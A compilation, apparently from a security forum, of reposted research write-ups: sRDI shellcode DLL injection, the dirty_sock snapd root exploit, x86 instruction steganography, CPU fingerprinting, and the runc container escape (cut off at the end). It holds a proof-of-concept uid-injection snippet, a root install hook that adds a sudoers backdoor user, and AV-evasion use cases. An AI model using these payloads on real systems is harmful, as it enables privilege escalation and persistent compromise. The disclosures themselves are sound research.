sRDI – Shellcode Reflective DLL Injection By Nick LandersAugust 23, 2017 No Comments During our first offering of “Dark Side Ops II – Adversary Simulation” at Black Hat USA 2017, we quietly dropped a piece of our internal toolkit called sRDI. Shortly after, the full project was put on GitHub ( https://github.com/monoxgas/sRDI ) without much explanation. I wanted to write a quick post discussing the details and use-cases behind this new functionality. A Short History Back in ye olde times, if you were exploiting existing code, or staging malicious code into memory, you used shellcode. For those rare few who still have the skill to write programs in assembly, we commend you. As the Windows API grew up and gained popularity, people found sanctuary in DLLs. C code and cross compatibility were very appealing, but what if you wanted your DLL to execute in another process? Well, you could try writing the file to memory and dropping a thread at the top, but that doesn’t work very well on packed PE files. The Windows OS already knows how to load PE files, so people asked nicely and DLL Injection was born. This involves starting a thread in a remote process to call “LoadLibrary()” from the WinAPI. This will read a (malicious) DLL from disk and load it into the target process. So you write some cool malware, save it as a DLL, drop it to disk, and respawn into other processes. Awesome!…well, not really. Anti-virus vendors caught on quick, started flagging more and more file types, and performing heuristic analysis. The disk wasn’t a safe place anymore! Finally in 2009, our malware messiah Stephen Fewer (@stephenfewer) releases Reflective DLL Injection. As demonstrated, LoadLibrary is limited in loading only DLLs from disk. So Mr. Fewer said “Hold my beer, I’ll do it myself”. With a rough copy of LoadLibrary implemented in C, this code could now be included into any DLL project. The process would export a new function called “ReflectiveLoader” from the (malicious) DLL. When injected, the reflective DLL would locate the offset of this function, and drop a thread on it. ReflectiveLoader walks back through memory to locate the beginning of the DLL, then unpacks and remaps everything automatically. When complete, “DLLMain” is called and you have your malware running in memory. Years went by and very little was done to update these techniques. Memory injection was well ahead of it’s time and allowed all the APTs and such to breeze past AV. In 2015, Dan Staples (@_dismantl) released an important update to RDI, called “Improved Reflective DLL Injection“. This aimed to allow an additional function to be called after “DLLMain” and support the passing of user arguments into said additional function. Some shellcode trickery and a bootstrap placed before the call to ReflectiveLoader accomplished just that. RDI is now functioning more and more like the legitimate LoadLibrary. We can now load a DLL, call it’s entry point, and then pass user data to another exported function. By the way, if you aren’t familiar with DLLs or exported functions, I recommend you read Microsoft’s overview. Making shellcode great again Reflective DLL injection is being used heavily by private and public toolsets to maintain that “in-memory” street cred. Why change things? Well… RDI requires that your target DLL and staging code understand RDI. So you need access to the source code on both ends (the injector and injectee), or use tools that already support RDI. RDI requires a lot of code for loading in comparison to shellcode injection. This compromises stealth and makes stagers easier to signature/monitor. RDI is confusing for people who don’t write native code often. Modern APT groups have already implemented more mature memory injection techniques, and our goal is better emulate real-world adversaries. The list isn’t as long as some reasons to change things, but we wanted to write a new version of RDI for simplicity and flexibility. So what did we do? To start, we read through some great research by Matt Graeber (@mattifestation) to convert primitive C code into shellcode. We rewrote the ReflectiveLoader function and converted the entire thing into a big shellcode blob. We now have a basic PE loader as shellcode. We wanted to maintain the advantages of Dan Staples technique, so we modified the bootstrap to hook into our new shellcode ReflectiveLoader. We also added some other tricks like a pop/call to allow the shellcode to get it’s current location in memory and maintain position independence. Once our bootstrap primitives were built, we implemented a conversion process into different languages (C, PowerShell, C#, and Python). This allows us to hook our new shellcode and a DLL together with the bootstrap code in any other tool we needed. Once complete, the blob looks something like this: When execution starts at the top of the bootstrap, the general flow looks like this: Get current location in memory (Bootstrap) Calculate and setup registers (Bootstrap) Pass execution to RDI with the function hash, user data, and location of the target DLL (Bootstrap) Un-pack DLL and remap sections (RDI) Call DLLMain (RDI) Call exported function by hashed name (RDI) – Optional Pass user-data to exported function (RDI) – Optional With that all done, we now have conversion functions that take in arbitrary DLLs, and spit out position independent shellcode. Optionally, you can specify arbitrary data to get passed to an exported function once the DLL is loaded (as Mr. Staples intended). On top of that, if you are performing local injection, the shellcode will return a memory pointer that you can use with GetProcAddressR() to locate additional exported functions and call them. Even with the explanation, the process can seem confusing to most who don’t have experience with the original RDI project, shellcode, or PE files, so I recommend you read existing research and head over to the GitHub repository and dig into the code: https://github.com/monoxgas/sRDI Okay, so what? “You can now convert any DLL to position independent shellcode at any time, on the fly.” This tool is mainly relevant to people who write/customize malware. If you don’t know how to write a DLL, I doubt most of this applies to you. With that said, if you are interested in writing something more than a PowerShell script or Py2Exe executable to perform red-teaming, this is a great place to start. Use case #1 – Stealthy persistence Use server-side Python code (sRDI) to convert a RAT to shellcode Write the shellcode to the registry Setup a scheduled task to execute a basic loader DLL Loader reads shellcode and injects (<20 lines of C code) Pros: Neither your RAT or loader need to understand RDI or be compiled with RDI. The loader can stay small and simple to avoid AV. Use case #2 – Side loading Get your sweet RAT running in memory Write DLL to perform extra functionality Convert the DLL to shellcode (using sRDI) and inject locally Use GetProcAddressR to lookup exported functions Execute additional functionality X-times without reloading DLL Pros: Keep your initial tool more lightweight and add functionality as needed. Load a DLL once and use it just like any other. Use case #3 – Dependencies Read existing legitimate API DLL from disk Convert the DLL to shellcode (using sRDI) and load it into memory Use GetProcAddress to lookup needed functions Pros: Avoid monitoring tools that detect LoadLibrary calls. Access API functions without leaking information. (WinInet, PSApi, TlHelp32, GdiPlus) Conclusion We hope people get good use out of this tool. sRDI been a member of the SBS family for almost 2 years now and we have it integrated into many of our tools. Please make modifications and create pull-requests if you find improvements. We’d love to see people start pushing memory injection to higher levels. With recent AV vendors promising more analytics and protections against techniques like this, we’re confident threat actors have already implemented improvements and alternatives that don’t involve high level languages like PowerShell or JScript. @monoxgas Sursa: https://silentbreaksecurity.com/srdi-shellcode-reflective-dll-injection/

Privilege Escalation in Ubuntu Linux (dirty_sock exploit) 13 February 2019 • Chris Moberly • 14 min read In January 2019, I discovered a privilege escalation vulnerability in default installations of Ubuntu Linux. This was due to a bug in the snapd API, a default service. Any local user could exploit this vulnerability to obtain immediate root access to the system. Two working exploits are provided in the dirty_sock repository: dirty_sockv1: Uses the ‘create-user’ API to create a local user based on details queried from the Ubuntu SSO. dirty_sockv2: Sideloads a snap that contains an install-hook that generates a new local user. Both are effective on default installations of Ubuntu. Testing was mostly completed on 18.10, but older verions are vulnerable as well. The snapd team’s response to disclosure was swift and appropriate. Working with them directly was incredibly pleasant, and I am very thankful for their hard work and kindness. Really, this type of interaction makes me feel very good about being an Ubuntu user myself. TL;DR snapd serves up a REST API attached to a local UNIX_AF socket. Access control to restricted API functions is accomplished by querying the UID associated with any connections made to that socket. User-controlled socket peer data can be affected to overwrite a UID variable during string parsing in a for-loop. This allows any user to access any API function. With access to the API, there are multiple methods to obtain root. The exploits linked above demonstrate two possibilities. Background - What is Snap? In an attempt to simplify packaging applications on Linux systems, various new competing standards are emerging. Canonical, the makers of Ubuntu Linux, are promoting their “Snap” packages. This is a way to roll all application dependencies into a single binary - similar to Windows applications. The Snap ecosystem includes an “app store” where developers can contribute and maintain ready-to-go packages. Management of locally installed snaps and communication with this online store are partially handled by a systemd service called “snapd”. This service is installed automatically in Ubuntu and runs under the context of the “root” user. Snapd is evolving into a vital component of the Ubuntu OS, particularly in the leaner spins like “Snappy Ubuntu Core” for cloud and IoT. Vulnerability Overview Interesting Linux OS Information The snapd service is described in a systemd service unit file located at /lib/systemd/system/snapd.service. Here are the first few lines: [Unit] Description=Snappy daemon Requires=snapd.socket This leads us to a systemd socket unit file, located at /lib/systemd/system/snapd.socket The following lines provide some interesting information: [Socket] ListenStream=/run/snapd.socket ListenStream=/run/snapd-snap.socket SocketMode=0666 Linux uses a type of UNIX domain socket called “AF_UNIX” which is used to communicate between processes on the same machine. This is in contrast to “AF_INET” and “AF_INET6” sockets, which are used for processes to communicate over a network connection. The lines shown above tell us that two socket files are being created. The ‘0666’ mode is setting the file permissions to read and write for all, which is required to allow any process to connect and communicate with the socket. We can see the filesystem representation of these sockets here: $ ls -aslh /run/snapd* 0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd-snap.socket 0 srw-rw-rw- 1 root root 0 Jan 25 03:42 /run/snapd.socket Interesting. We can use the Linux “nc” tool (as long as it is the BSD flavor) to connect to AF_UNIX sockets like these. The following is an example of connecting to one of these sockets and simply hitting enter. $ nc -U /run/snapd.socket HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close 400 Bad Request Even more interesting. One of the first things an attacker will do when compromising a machine is to look for hidden services that are running in the context of root. HTTP servers are prime candidates for exploitation, but they are usually found on network sockets. This is enough information now to know that we have a good target for exploitation - a hidden HTTP service that is likely not widely tested as it is not readily apparent using most automated privilege escalation checks. NOTE: Check out my work-in-progress privilege escalation tool uptux that would identify this as interesting. Vulnerable Code Being an open-source project, we can now move on to static analysis via source code. The developers have put together excellent documentation on this REST API available here. The API function that stands out as highly desirable for exploitation is “POST /v2/create-user”, which is described simply as “Create a local user”. The documentation tells us that this call requires root level access to execute. But how exactly does the daemon determine if the user accessing the API already has root? Reviewing the trail of code brings us to this file (I’ve linked the historically vulnerable version). Let’s look at this line: ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED) This is calling one of golang’s standard libraries to gather user information related to the socket connection. Basically, the AF_UNIX socket family has an option to enable receiving of the credentials of the sending process in ancillary data (see man unix from the Linux command line). This is a fairly rock solid way of determining the permissions of the process accessing the API. Using a golang debugger called delve, we can see exactly what this returns while executing the “nc” command from above. Below is the output from the debugger when we set a breakpoint at this function and then use delve’s “print” command to show what the variable “ucred” currently holds: > github.com/snapcore/snapd/daemon.(*ucrednetListener).Accept() ... 109: ucred, err := getUcred(int(f.Fd()), sys.SOL_SOCKET, sys.SO_PEERCRED) => 110: if err != nil { ... (dlv) print ucred *syscall.Ucred {Pid: 5388, Uid: 1000, Gid: 1000} That looks pretty good. It sees my uid of 1000 and is going to deny me access to the sensitive API functions. Or, at least it would if these variables were called exactly in this state. But they are not. Instead, some additional processing happens in this function, where connection info is added to a new object along with the values discovered above: func (wc *ucrednetConn) RemoteAddr() net.Addr { return &ucrednetAddr{wc.Conn.RemoteAddr(), wc.pid, wc.uid, wc.socket} } …and then a bit more in this one, where all of these values are concatenated into a single string variable: func (wa *ucrednetAddr) String() string { return fmt.Sprintf("pid=%s;uid=%s;socket=%s;%s", wa.pid, wa.uid, wa.socket, wa.Addr) } ..and is finally parsed by this function, where that combined string is broken up again into individual parts: func ucrednetGet(remoteAddr string) (pid uint32, uid uint32, socket string, err error) { ... for _, token := range strings.Split(remoteAddr, ";") { var v uint64 ... } else if strings.HasPrefix(token, "uid=") { if v, err = strconv.ParseUint(token[4:], 10, 32); err == nil { uid = uint32(v) } else { break } What this last function does is split the string up by the “;” character and then look for anything that starts with “uid=”. As it is iterating through all of the splits, a second occurrence of “uid=” would overwrite the first. If only we could somehow inject arbitrary text into this function… Going back to the delve debugger, we can take a look at this “remoteAddr” string and see what it contains during a “nc” connection that implements a proper HTTP GET request: Request: $ nc -U /run/snapd.socket GET / HTTP/1.1 Host: 127.0.0.1 Debug output: github.com/snapcore/snapd/daemon.ucrednetGet() ... => 41: for _, token := range strings.Split(remoteAddr, ";") { ... (dlv) print remoteAddr "pid=5127;uid=1000;socket=/run/snapd.socket;@" Now, instead of an object containing individual properties for things like the uid and pid, we have a single string variable with everything concatenated together. This string contains four unique elements. The second element “uid=1000” is what is currently controlling permissions. If we imagine the function splitting this string up by “;” and iterating through, we see that there are two sections that (if containing the string “uid=”) could potentially overwrite the first “uid=”, if only we could influence them. The first (“socket=/run/snapd.socket”) is the local “network address” of the listening socket - the file path the service is defined to bind to. We do not have permissions to modify snapd to run on another socket name, so it seems unlikely that we can modify this. But what is that “@” sign at the end of the string? Where did this come from? The variable name “remoteAddr” is a good hint. Spending a bit more time in the debugger, we can see that a golang standard library (net.go) is returning both a local network address AND a remote address. You can see these output in the debugging session below as “laddr” and “raddr”. > net.(*conn).LocalAddr() /usr/lib/go-1.10/src/net/net.go:210 (PC: 0x77f65f) ... => 210: func (c *conn) LocalAddr() Addr { ... (dlv) print c.fd ... laddr: net.Addr(*net.UnixAddr) *{ Name: "/run/snapd.socket", Net: "unix",}, raddr: net.Addr(*net.UnixAddr) *{Name: "@", Net: "unix"},} The remote address is set to that mysterious “@” sign. Further reading the man unix help pages provides information on what is called the “abstract namespace”. This is used to bind sockets which are independent of the filesystem. Sockets in the abstract namespace begin with a null-byte character, which is often displayed as “@” in terminal output. Instead of relying on the abstract socket namespace leveraged by netcat, we can create our own socket bound to a file name that we control. This should allow us to affect the final portion of that string variable that we want to modify, which will land in the “raddr” variable shown above. Using some simple python code, we can create a file name that has the string “;uid=0;” somewhere inside it, bind to that file as a socket, and use it to initiate a connection back to the snapd API. Here is a snippet of the exploit POC: ## Setting a socket name with the payload included sockfile = "/tmp/sock;uid=0;" ## Bind the socket client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) client_sock.bind(sockfile) ## Connect to the snap daemon client_sock.connect('/run/snapd.socket') Now watch what happens in the debugger when we look at the remoteAddr variable again: > github.com/snapcore/snapd/daemon.ucrednetGet() ... => 41: for _, token := range strings.Split(remoteAddr, ";") { ... (dlv) print remoteAddr "pid=5275;uid=1000;socket=/run/snapd.socket;/tmp/sock;uid=0;" There we go - we have injected a false uid of 0, the root user, which will be at the last iteration and overwrite the actual uid. This will give us access to the protected functions of the API. We can verify this by continuing to the end of that function in the debugger, and see that uid is set to 0. This is shown in the delve output below: > github.com/snapcore/snapd/daemon.ucrednetGet() ... => 65: return pid, uid, socket, err ... (dlv) print uid 0 Weaponizing Version One dirty_sockv1 leverages the ‘POST /v2/create-user’ API function. To use this exploit, simply create an account on the Ubuntu SSO and upload an SSH public key to your profile. Then, run the exploit like this (using the email address you registered and the associated SSH private key): $ dirty_sockv1.py -u you@email.com -k id_rsa This is fairly reliable and seems safe to execute. You can probably stop reading here and go get root. Still reading? Well, the requirement for an Internet connection and an SSH service bothered me, and I wanted to see if I could exploit in more restricted environments. This leads us to… Version Two dirty_sockv2 instead uses the ‘POST /v2/snaps’ API to sideload a snap containing a bash script that will add a local user. This works on systems that do not have the SSH service running. It also works on newer Ubuntu versions with no Internet connection at all. HOWEVER, sideloading does require some core snap pieces to be there. If they are not there, this exploit may trigger an update of the snapd service. My testing shows that this will still work, but it will only work ONCE in this scenario. Snaps themselves run in sandboxes and require digital signatures matching public keys that machines already trust. However, it is possible to lower these restrictions by indicating that a snap is in development (called “devmode”). This will give the snap access to the host Operating System just as any other application would have. Additionally, snaps have something called “hooks”. One such hook, the “install hook” is run at the time of snap installation and can be a simple shell script. If the snap is configured in “devmode”, then this hook will be run in the context of root. I created a snap from scratch that is essentially empty and has no functionality. What it does have, however, is a bash script that is executed at install time. That bash script runs the following commands: useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash usermod -aG sudo dirty_sock echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers That encrypted string is simply the text dirty_sock created with Python’s crypt.crypt() function. The commands below show the process of creating this snap in detail. This is all done from a development machine, not the target. One the snap is created, it is converted to base64 text to be included in the full python exploit. ## Install necessary tools sudo apt install snapcraft -y ## Make an empty directory to work with cd /tmp mkdir dirty_snap cd dirty_snap ## Initialize the directory as a snap project snapcraft init ## Set up the install hook mkdir snap/hooks touch snap/hooks/install chmod a+x snap/hooks/install ## Write the script we want to execute as root cat > snap/hooks/install << "EOF" #!/bin/bash useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash usermod -aG sudo dirty_sock echo "dirty_sock ALL=(ALL:ALL) ALL" >> /etc/sudoers EOF ## Configure the snap yaml file cat > snap/snapcraft.yaml << "EOF" name: dirty-sock version: '0.1' summary: Empty snap, used for exploit description: | See https://github.com/initstring/dirty_sock grade: devel confinement: devmode parts: my-part: plugin: nil EOF ## Build the snap snapcraft If you don’t trust the blob I’ve put into the exploit, you can manually create your own with the method above. Once we have the snap file, we can use bash to convert it to base64 as follows: $ base64 <snap-filename.snap> That base64-encoded text can go into the global variable “TROJAN_SNAP” at the beginning of the dirty_sock.py exploit. The exploit itself is writen in python and does the following: Creates a random file with the string ‘;uid=0;’ in the name Binds a socket to this file Connects to the snapd API Deletes the trojan snap (if it was left over from a previous aborted run) Installs the trojan snap (at which point the install hook will run) Deletes the trojan snap Deletes the temporary socket file Congratulates you on your success Protection / Remediation Patch your system! The snapd team fixed this right away after my disclosure. Special Thanks So many StackOverflow posts I lost track… The great resources put together by the snap team Author Chris Moberly (@init_string) from The Missing Link. Thanks for reading!!! Sursa: https://shenaniganslabs.io/2019/02/13/Dirty-Sock.html

Hiding Data in Redundant Instruction Encodings Feb 12, 2019 • julian As we’ve seen in the previous post, x86 instructions are encoded as variable-length byte strings. In this post, we will explore how to covertly hide information in x86 instructions. For that, let’s dive a bit into how x86 instructions are encoded. Let’s look at two encodings for the same xor instruction: ; 35 01 00 00 00 xor eax, 1 ; 81 f0 01 00 00 00 xor eax, 1 The above instructions do exactly the same. They take the eax register, xor its value with 1, and store the result back in eax, yet they are encoded differently. For historical reasons, x86 has shorter encodings for some arithmetic instructions when they operate on the al/ax/eax/rax “accumulator” registers as opposed to any other general-purpose register. This is the first example. It has a 35 opcode for xor eax and afterwards follows a 4-byte immediate value (1) in little-endian order. The second example uses the more generic 81 opcode byte, which has no hard-coded first operand and instead needs a ModR/M byte. A ModR/M byte can specify any register or memory operand. F0 happens to specify the register eax. Semantically, both instructions are identical, yet they are encoded differently. A decent assembler will never generate the second option, because it wastes one byte of space. However, a disassembler generates the exact same textual representation for these two instructions. Only by looking at the actual instruction bytes can anyone see the difference. It seems we have found our sneaky way of hiding data. We can embed one bit of information into every xor eax, ... instruction by either using the short or the long encoding of the instruction. Let’s put this knowledge into practice. I’ve crafted a small program that contains lots of xor instructions operating on the eax register. I also have a Python script that takes an assembly file and embeds a message bit-by-bit by switching between the different encodings of xor. The code for this example can be found on Github. If you clone this repo, you can embed a secret message into the binary like this: % make main-secret # Compile main.cpp to an assembly file g++ -Os -std=c++14 -S -c main.cpp -o main.s # Replace xor instructions ./embed.py "$(cat secret.txt)" < main.s > main.se # Assemble the result into an object file as main.se -o main-secret.o # Finally, link everything into a normal executable. g++ -Os -std=c++14 -o main-secret main-secret.o We now have a binary main-secret that has the secret message engraved into its xor instruction encodings. Regardless of the message, the binary contains the same data and the same instructions, just not with the same encodings. It behaves identically to a version of the program compiled normally. A casual look at it with a reverse engineering tool reveals nothing out of the ordinary. With objdump we can check what happened: % objdump -dM intel main-secret | grep "xor.* eax,0" | head -n8 40148b: 35 01 00 00 00 xor eax,0x1 401493: 81 f0 02 00 00 00 xor eax,0x2 40149c: 35 03 00 00 00 xor eax,0x3 4014a4: 35 04 00 00 00 xor eax,0x4 4014ac: 35 05 00 00 00 xor eax,0x5 4014b4: 35 06 00 00 00 xor eax,0x6 4014bc: 81 f0 07 00 00 00 xor eax,0x7 4014c5: 35 08 00 00 00 xor eax,0x8 The script embeds the least significant bit first. So interpreting short encodings as 0 and long encodings as 1, we get 01000010 in binary, which is 66 in decimal and ‘B’ in UTF-8. The decode script automates this process and reveals the full message that was apparently sent by Gandalf: % ./decode.py main-secret Bring the ? to the ?, Frodo! He could now smuggle this message as a Debian package into the Shire. This is only a toy example, but the same principle can be used to hide more data in redundant instruction encodings for other x86 instructions. Even more data can be hidden by exploiting the x86 processor’s laissez-faire approach to parsing instruction prefixes or multiple ways of encoding SIMD instructions, but this is left as an exercise for the reader. Maybe now is a good time to head over to https://reproducible-builds.org/ Sursa: http://x86.lol/2019/02/12/steganography.html

Fingerprinting x86 CPUs using Illegal Opcodes Feb 8, 2019 • julian x86 CPUs usually identify themselves and their features using the cpuid instruction. But even without looking at their self-reported identities or timing behavior, it is possible to tell CPU microarchitectures apart. Take for example the ud0 instruction. This instruction is used to generate an Invalid Opcode Exception (#UD). It is encoded with the two bytes 0F FF. If we place this instruction at the end of an executable page in memory and the following page is not executable, we see differences across x86 microarchitectures. On my Goldmont Plus-based Intel NUC, executing this instruction will indeed cause an #UD exception. On Linux, this exception is delivered as SIGILL. If I retry the same setup on my Skylake desktop, the result is a SIGSEGV instead. This signal is caused by a page fault during instruction fetch. This means that the CPU did not manage to decode this instruction with just the two bytes and tried to fetch more bytes. My somewhat older Broadwell-based laptop has the same behavior. Using baresifter, we can reverse engineer (more on that in a future blog post) that Skylake and Broadwell actually try to decode ud0 as if it had source and destination operands. After the the two opcode bytes, they expect a ModR/M byte and as many additional immediate or displacement bytes as the ModR/M byte indicate. I have put the code for this example on Github. Why would this matter? Afterall, this behavior is now even documented in the Intel Software Developer’s Manual: Some older processors decode the UD0 instruction without a ModR/M byte. As a result, those processors would deliver an invalid-opcode exception instead of a fault on instruction fetch when the instruction with a ModR/M byte (and any implied bytes) would cross a page or segment boundary. I have picked an easy example for this post. Beyond this documented difference, there are many other undocumented differences in instruction fetch behavior for other illegal opcodes that makes it fairly easy to figure out what microarchitecture we are dealing with. This still applies when a hypervisor intercepts cpuid and changes the (virtual) CPU’s self-reported identity. It is also possible to fingerprint different x86 instruction decoding libraries using this approach and narrow down which hypervisor software stack is used. One usecase I can think of is to build malware that is tailored to recognize its target using instruction fetch fingerprinting. Let’s say the malware’s target is an embedded system with an ancient x86 CPU. If it is actively fingerprinting the CPU, it can avoid deploying its payload in an automated malware anlysis system and be discovered, unless the malware analysis is performed on the exact same type of system targeted by the malware. Sursa: https://x86.lol/generic/2019/02/08/fingerprint.html

Wednesday, February 13, 2019 CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host Introduction The inspiration to the following research was a CTF task called namespaces by _tsuro from the 35C3 CTF. While solving this challenge we found out that creating namespace-based sandboxes which can then be joined by external processes is a pretty challenging task from a security standpoint. On our way back home from the CTF we found out that Docker, with its “docker exec” functionality (which is actually implemented by runc from opencontainers) follows a similar model and decided to challenge this implementation. Goal and results Our goal was to compromise the host environment from inside a Docker container running in the default or hardened configuration (e.g. limited capabilities and syscall availability). We considered the two following attack vectors: a malicious Docker image, a malicious process inside a container (e.g. a compromised Dockerized service running as root). Results: we have achieved full code execution on the host, with all capabilities (i.e. on the administrative ‘root’ access level), triggered by either: running “docker exec” from the host, on a compromised Docker container, starting a malicious Docker image. This vulnerability was assigned CVE-2019-5736 and was officially announced here. Default Docker security settings Despite Docker not being marketed as sandboxing software, its default setup is meant to secure host resources from being accessed by processes inside of a container. Although the initial process inside a Docker container is running as root, it has very limited privileges, which is achieved using several mechanisms (this paper describes it thoroughly): Linux capabilities http://man7.org/linux/man-pages/man7/capabilities.7.html Docker containers have a very limited set of capabilities by default, which makes a container root user de facto an unprivileged user. seccomp http://man7.org/linux/man-pages/man2/seccomp.2.html This mechanism blocks container’s processes from executing a subset of syscalls or filters their arguments (thus limiting its impact on the host environment.) namespaces http://man7.org/linux/man-pages/man7/namespaces.7.html This mechanism allows to limit containerized processes’ access to the host filesystem, as well as it limits the visibility of processes across the host/container boundary. cgroups http://man7.org/linux/man-pages/man7/cgroups.7.html The control groups (cgroups) mechanism allows to limit and manage various types of resources (RAM, CPU, ...) of a group of processes. It’s possible to disable all of these mechanisms (for example by using the --privileged command-line option) or to specify any set of syscalls/capabilities/shared namespaces explicitly. Disabling those hardening mechanisms makes it possible to easily escape the container. Instead, we will be looking at Docker containers running the default security configuration. Failed approaches Before we ended up finding the final vulnerability we had tried many other ideas, most of which were mitigated by limited capabilities or by seccomp filters. As the whole research was a follow-up to a 35C3 CTF task, we started by investigating what happens when a new process gets started in an existing namespace (a.k.a. “docker exec”). The goal here was to check if we can access some host resources by obtaining them from the newly joined process. Specifically, we looked for ways to access that process from inside the container before it joins all used namespaces. Imagine the following scenario, where a process: joins the user and PID namespaces, forks (to actually join the PID namespace), joins the rest of the namespaces (mount, net etc.). If we could ptrace that process as soon as it visible to us (i.e. right as it joined the PID namespace), we could prevent it from joining the rest of the namespaces, which would in turn enable e.g. host filesystem access. Not having the required capabilities to ptrace could be bypassed by performing an unshare of the user namespace by the container init process (this yields the full set of capabilities in the new user namespace). Then “docker exec” would join our new namespace (obtained via “/proc/pid/ns/”) inside of which we can ptrace (but seccomp limitations would still apply). It turns out that runc joins all of the required namespaces and only forks after having done so, which prevents this attack vector. Additionally, the default Docker configuration also disables all namespace related syscalls within the container (setns, unshare etc.). Next we focused solely on the proc filesystem (more info: proc(5)) as it’s quite special and can often cross namespace boundaries. The most interesting entries are: /proc/pid/mem - This doesn’t give us much by itself, as the target process needs to already be in the same PID namespace as malicious one. The same applies to ptrace(2). /proc/pid/cwd, /proc/pid/root - Before a process fully joins a container (after it joins namespaces but before it updates its root (chroot) and cwd (chdir)) these point to the host filesystem, which could possibly allow us to access it - but since the runc process is not dumpable (read more: http://man7.org/linux/man-pages/man2/ptrace.2.html), we cannot use those. /proc/pid/exe - Not of any use just by itself (same reason as cwd and root), but we have found a way around that and used it in the final exploit (described below). /proc/pid/fd/ - Some file descriptors may be leaked from ancestor namespaces (especially the mount namespace) or we could disturb parent - child (actually grandchild) communication in runc - we have found nothing of particular interest here as synchronisation was done with local sockets (can’t reuse those). /proc/pid/map_files/ - A very interesting vector - before runc executes the target binary (but after the process is visible to us, i.e. it joined the PID namespace) all the entries refer to binaries from the host filesystem (since that is there where the process was originally spawned). Unfortunately, we discovered that we cannot follow these links without the SYS_ADMIN capability (source) - even from within the same process. Side note: When executing the following command: /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls -al /proc/self/exe “/proc/self/exe” points to “ld-linux-x86-64.so.2” (not “/bin/ls”, as one might think) The attack idea was to force “docker exec” to use dynamic loader from host to execute binary inside container (by replacing original target to exec (e.g. “/bin/bash”) with a text file with the first line: #!/proc/self/map_files/address-in-memory-of-ld.so) /evil_binary Then /evil_binary could overwrite /proc/self/exe and thus overwrite the host ld.so. This approach was unsuccessful due to the aforementioned SYS_ADMIN capability requirement. Side note 2: While experimenting with the above we found a deadlock in the kernel: when a regular process tries to execve “/proc/self/map_files/any-existing-entry”, it will deadlock (and then opening “/proc/that-process-pid/maps” from any other process will also hang - probably some lock taken). Successful approach The final successful attempts involved an approach very similar to the aforementioned idea with /proc/self/map_files - we execute /proc/self/exe, which is the host's docker-runc binary, while still being able to inject some code (we did that by changing some shared library, like libc.so, to also execute our code e.g. inside libc_start_main or global constructor). This gives us ability to overwrite /proc/self/exe binary which is the docker-runc binary from the host, which in turn gives us full capabilities root access on host next time docker-runc is executed. Detailed attack description: Craft a rogue image or compromise a running container: Make the entrypoint binary (or any binary that is likely to be runtime overridden by the user as the entrypoint, or as part of docker exec) be a symlink to /proc/self/exe Replace any dynamic library used by docker-runc with a custom .so that has an additional global constructor. This function opens /proc/self/exe (which points to the host docker-run) for reading (it is impossible to open it for writing, since the binary is being executed right now, see ETXTBSY in open(2)). Then this function executes another binary which opens, this time for write, /proc/self/fd/3 (a file descriptor of docker-runc opened before execve), which succeeds because docker-runc is no longer being executed. The code can then overwrite the host docker-runc with anything - we have chosen a fake docker-runc with an additional global constructor that runs arbitrary code. Thus, when a host user runs the compromised image or “docker exec” on a compromised container : The entrypoint/exec binary that has been symlinked to /proc/self/exe (which in turn points to docker-runc on the host filesystem) begins executing within the container (this will also cause process to be dumpable, as execve sets the dumpable flag). To be clear: this causes the original docker-runc process to re-execute into a new docker-runc running within the container (but using the host binary). When docker-runc begins executing for the second time, it will load .so files from the container, not the host (because this is the visible filesystem now). As a reminder: we control the content of these dynamic libraries. The malicious global constructor function will be executed. It will open /proc/self/exe for reading (let’s say it will have file descriptor 3) and execve()s some attacker controlled binary (let’s say /evil). /evil will overwrite docker-runc on the host filesystem (by reopening fd 3, this time with write access) with a backdoored/malicious docker-runc (e.g. with an additional global constructor). Now when any container is started or another exec is done, the attacker’s fake docker-runc will be executed as root with full capabilities on host filesystem (this binary is responsible for dropping privileges and entering namespaces, so initially it has full permissions). Note that this attack only abuses runc (opencontainers) behavior, so it should work for kubernetes as well, regardless of whether it uses docker or cri-o (both may use runc internally). This attack has serious impact on AWS and GCP cloud services. More information about it can be found at linked security bulletins. Responsible disclosure We have reported the vulnerability to security@docker.com the same day we discovered it, including a detailed attack description and a proof of concept exploit. The next day the Docker security team forwarded our email to security@opencontainers.org. We also actively participated in discussions regarding fixing the vulnerability. Communicating with the Docker and OpenContainers security teams was frictionless and pleasant.. Rejected fix ideas in runc Open the destination binary and compare inode info from fstat(2) with /proc/self/exe and exit if they match, otherwise execveat on destination binary fd. This would detect if destination binary is a symlink to /proc/self/exe. Why execveat? Because we want to avoid the race condition where between comparison at exec some other process will replace destination binary with link to /proc/self/exe. Why wouldn’t this work? This can be bypassed when attacker will not use symlink, but a binary with dynamic loader pointing to “/proc/self/exe”: e.g. text file which has “#!/proc/self/exe” as first line or just an elf file. Use a static binary to launch processes within the container The idea of this is to avoid code execution possibility via malicious .so files inside the container (a static binary means no .so files are loaded). Why wouldn’t this work? Replacing .so files was not actually needed for this exploit. After the re-exec of /proc/self/exe (docker-runc), another process can just open /proc/<pid-of-docker-runc>/exe, which is possible because ”dumpable” flag is set on execve. This is a little bit harder to exploit because it requires to race the timing between the re-exec completing and runc process exiting (due to no parameters given). In practice, the race window is so large that we were able to develop a 100% successful exploit for such a scenario. However this would eliminate one of the attack vectors: running a rogue image. Final fix applied in runc In the end, the following fix was applied to mitigate the vulnerability: : Create a memfd (a special file which exists only in memory). Copy the original runc binary to this fd. Before entering namespaces re-exec runc from this fd. This fix guarantees that if the attacker overwrites the binary pointed to by /proc/self/exe then it will not cause any damage to the host because it’s a copy of the host binary, stored entirely in memory (tmpfs). Mitigations There are several mitigation possibilities when using an unpatched runc: Use Docker containers with SELinux enabled (--selinux-enabled). This prevents processes inside the container from overwriting the host docker-runc binary. Use 